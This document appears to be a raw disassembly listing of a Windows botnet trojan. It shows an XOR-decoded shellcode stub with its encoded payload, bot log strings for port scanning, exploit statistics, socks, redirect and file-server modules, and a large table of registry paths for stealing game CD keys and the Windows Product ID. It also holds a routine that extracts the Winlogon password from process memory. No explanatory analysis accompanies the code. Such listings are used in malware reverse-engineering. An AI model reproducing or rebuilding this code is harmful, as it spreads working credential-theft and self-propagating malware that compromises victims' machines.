346E7361h, 3534h, 73610000h, 6D73316Eh, 62h dd 5 dup(0) dd 1BDh, 40428Fh, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 40428Fh, 0 dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h dd 353434h, 5 dup(0) dd 1BDh, 404F42h, 2 dup(0) dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h dd 5 dup(0) dd 8Bh, 404F42h, 2 dup(0) dd 1, 6D7973h, 0 dd 79730000h, 746E616Dh, 6365h, 5 dup(0) dd 0B97h, 405088h, 0 dd 1, 0 dd 636874h, 0 dd 68540000h, 6C717363h, 6 dup(0) dd 599h, 40527Eh, 0 ; CODE XREF: sub_42AF96:loc_42AFABj dd 1, 10h dup(0) ; --------------------------------------------------------------------------- jmp short loc_42AFA6 ; =============== S U B R O U T I N E ======================================= sub_42AF96 proc near ; CODE XREF: sub_42AF96:loc_42AFA6p pop edx dec edx xor ecx, ecx mov cx, 166h loc_42AF9E: ; CODE XREF: sub_42AF96+Cj xor byte ptr [edx+ecx], 99h loop loc_42AF9E jmp short loc_42AFAB ; --------------------------------------------------------------------------- loc_42AFA6: ; CODE XREF: ___:0042AF94j call sub_42AF96 loc_42AFAB: ; CODE XREF: sub_42AF96+Ej jo short near ptr dword_42AF44+2 cwde cdq cdq retn sub_42AF96 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_407110+42o align 4 unk_42B134 db 2 ; DATA XREF: sub_407110+11o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_42B168 db 2 ; DATA XREF: sub_4071DB+42o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_42B198 db 2 ; DATA XREF: sub_4071DB+2Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_42B1C8 db 2 ; DATA XREF: sub_407252+36Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 unk_42B20C db 2 ; DATA XREF: sub_407252+307o ; sub_40EE72+54B9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aServerListenin db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 dword_42B258 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+267o dd 2BBBB02h aFailedToStar_0 db ' Failed to start server, error: <%d>.',0 align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_407252+1FAo dd 2BBBB02h aServerStartedO db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_42B2E8 db 2 ; DATA XREF: sub_407252+149o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start server, error: <%d>.',0 unk_42B328 db 2 ; DATA XREF: sub_407252+DBo ; sub_40EE72+5343o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40762E+38o ; sub_40AEE0+46o unk_42B384 db 2 ; DATA XREF: sub_407767+EEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_42B3BC db 2 ; DATA XREF: sub_407767+93o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_42B408 db 2 ; DATA XREF: sub_40797F+1CEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_42B45C db 2 ; DATA XREF: sub_40797F+173o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start worker thread, error: <%d>.',0 align 4 unk_42B4A8 db 2 ; DATA XREF: sub_40797F+103o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 10h unk_42B4F0 db 2 ; DATA XREF: sub_40797F+87o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_42B538 db 2 ; DATA XREF: sub_407BDE+156o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 unk_42B584 db 2 ; DATA XREF: sub_407BDE+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B5DC db 2 ; DATA XREF: ___:00407F10o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_3 db ' Failed to start connection thread, error: <%d>.',0 unk_42B62C db 2 ; DATA XREF: ___:00407E47o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 10h unk_42B680 db 2 ; DATA XREF: sub_407FEA+1B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start server on Port %d.',0 align 10h unk_42B6C0 db 2 ; DATA XREF: sub_407FEA+18Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start client thread, error: <%d>.',0 unk_42B708 db 2 ; DATA XREF: sub_407FEA+114o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_42B75C db 2 ; DATA XREF: sub_407FEA+A8o ; sub_40EE72+5E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aServerStarte_1 db 'Server started on: %s:%d.',0 align 4 unk_42B794 db 2 ; DATA XREF: sub_407FEA+3FEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aErrorFailedToC db 'Error: Failed to connect to target, returned: <%d>.',0 unk_42B7E4 db 2 ; DATA XREF: sub_407FEA+38Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aErrorFailedToO db 'Error: Failed to open socket(), returned: <%d>.',0 unk_42B830 db 2 ; DATA XREF: sub_407FEA+2F7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aAuthentication db 'Authentication failed. Remote userid: %s != %s.',0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4085B3+11o aWindow db 'Window',0 ; DATA XREF: sub_4087EE+23o ; sub_4089E7+26o align 10h dd 80000001h off_42B894 dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr ; sub_408C26+21o ; "Software\\Valve\\CounterStrike\\Settings" ; --------------------------------------------------------------------------- push 500042CAh retf 42h ; --------------------------------------------------------------------------- dword_42B8A0 dd 2 dup(0) ; DATA XREF: sub_408C26+26o dd 80000001h, 42CA28h, 42CA1Ch, 42CA0Ch, 2 dup(0) dd 80000001h, 42C9ECh, 42C9E8h, 42C9D4h, 2 dup(0) dd 80000001h, 42C9B0h, 42C9E8h, 42C9A4h, 2 dup(0) dd 80000001h, 42C980h, 42C978h, 42C964h, 2 dup(0) dd 80000001h, 42C950h, 42C940h, 42C924h, 2 dup(0) dd 80000001h, 42C8E0h, 42CA68h, 42C8CCh, 2 dup(0) dd 80000002h, 42C8A0h, 42C894h, 42C874h, 2 dup(0) dd 80000002h, 42C840h, 42CA68h, 42C828h, 2 dup(0) dd 80000002h, 42C7F4h, 42CA68h, 42C7DCh, 2 dup(0) dd 80000002h, 42C7C4h, 42CA68h, 42C7ACh, 2 dup(0) dd 80000002h, 42C770h, 436EDCh, 42C760h, 2 dup(0) dd 80000002h, 42C728h, 436EDCh, 42C714h, 2 dup(0) dd 80000002h, 42C6C8h, 436EDCh, 42C6A8h, 2 dup(0) dd 80000002h, 42C658h, 436EDCh, 42C62Ch, 2 dup(0) dd 80000002h, 42C5F0h, 436EDCh, 42C5DCh, 2 dup(0) dd 80000002h, 42C5A4h, 436EDCh, 42C594h, 2 dup(0) dd 80000002h, 42C544h, 436EDCh, 42C518h, 2 dup(0) dd 80000002h, 42C4D8h, 436EDCh, 42C4BCh, 2 dup(0) dd 80000002h, 42C48Ch, 436EDCh, 42C46Ch, 2 dup(0) dd 80000002h, 42C430h, 436EDCh, 42C41Ch, 2 dup(0) dd 80000002h, 42C3D4h, 436EDCh, 42C3B4h, 2 dup(0) ; --------------------------------------------------------------------------- add al, [eax] add byte_42C360[eax], al fsubr qword ptr [esi+43h] add [eax], dh retn ; --------------------------------------------------------------------------- dw 42h dd 2 dup(0) dd 80000002h, 42C2E0h, 436EDCh, 42C2B4h, 2 dup(0) dd 80000002h, 42C274h, 42C26Ch, 42C24Ch, 2 dup(0) dd 80000002h, 42C208h, 436EDCh, 42C1ECh, 2 dup(0) dd 80000002h, 42C1A0h, 436EDCh, 42C17Ch, 2 dup(0) dd 80000002h, 42C148h, 436EDCh, 42C13Ch, 2 dup(0) dd 80000002h, 42C108h, 436EDCh, 42C0FCh, 2 dup(0) dd 80000002h, 42C0C8h, 436EDCh, 42C0BCh, 2 dup(0) dd 80000002h, 42C088h, 436EDCh, 42C07Ch, 2 dup(0) dd 80000002h, 42C040h, 436EDCh, 42C02Ch, 2 dup(0) dd 80000002h, 42BFF0h, 436EDCh, 42BFDCh, 2 dup(0) dd 80000002h, 42BFACh, 42CA68h, 42BF90h, 2 dup(0) dd 80000002h, 42BF70h, 42BF68h, 42BF44h, 2 dup(0) dd 80000002h, 42BF28h, 42BF68h, 42BF08h, 2 dup(0) dd 80000002h, 42BEE8h, 42BF68h, 42BEC4h, 2 dup(0) dd 80000002h, 42BEACh, 42BF68h, 42BEA8h, 2 dup(0) dd 80000002h, 42BE8Ch, 42BE7Ch, 42BE74h, 2 dup(0) dd 80000002h, 42BE40h, 42BE3Ch, 42BE24h, 2 dup(0) dd 80000002h, 42BDE8h, 42BDDCh, 42BDB4h, 42BDA4h, 42BD90h dd 80000002h, 42BD6Ch, 42BD60h, 42BD4Ch, 42BD3Ch, 42BD34h dd 80000002h, 42BD6Ch, 42BD60h, 42BD08h, 42BD3Ch, 42BD00h dd 80000002h, 42BD6Ch, 42BD60h, 42BCD0h, 42BD3Ch, 42BCC8h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 10h db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 10h db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 10h db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 10h db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 10h aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 10h byte_42C360 db 53h ; DATA XREF: ___:0042BAA2w aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 10h db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 10h db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 10h db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aCustomernumber db 'CustomerNumber',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 10h aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 aCdkey db 'CDKey',0 align 10h aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o align 4 asc_42CA98: ; DATA XREF: sub_408C26+E9o ; sub_408C26+F4o unicode 0, <=>,0 aR: ; DATA XREF: sub_408C26+8Fo ; sub_40EE72:loc_413643o unicode 0, <r>,0 aSS_3 db '%s\%s',0 ; DATA XREF: sub_408C26+7Eo ; sub_408EE5+45o ... align 4 aSCdKeyS_ db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo align 4 unk_42CABC db 2 ; DATA XREF: sub_408DCA+C8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFilesFoundD_ db ' Files found: %d.',0 unk_42CAEC db 2 ; DATA XREF: sub_408DCA+5Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s.',0 align 4 aFoundSS db ' Found: %s\%s',0 ; DATA XREF: sub_408EE5+107o align 4 aS_3 db '%s\*',0 ; DATA XREF: sub_408EE5+1Ao align 4 unk_42CB3C db 2 ; DATA XREF: sub_409037:loc_4091B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToEnable db ' Failed to enable Debug Privilege.',0 align 10h unk_42CB80 db 2 ; DATA XREF: sub_409037:loc_409183o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindWi db ' Unable to find Winlogon Process ID.',0 unk_42CBC4 db 2 ; DATA XREF: sub_409037:loc_40917Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToFindTh db ' Unable to find the password in memory.',0 align 4 unk_42CC0C db 2 ; DATA XREF: sub_409037+117o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLogo db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(no password)).',0 align 4 off_42CC84 dd offset byte_530055 ; DATA XREF: sub_409037+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004B+2 dd offset aMov@ ; "m▌v@" dd 0 off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo dd offset byte_520045 dd offset loc_41004B+3 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o align 4 aSedebugprivile db 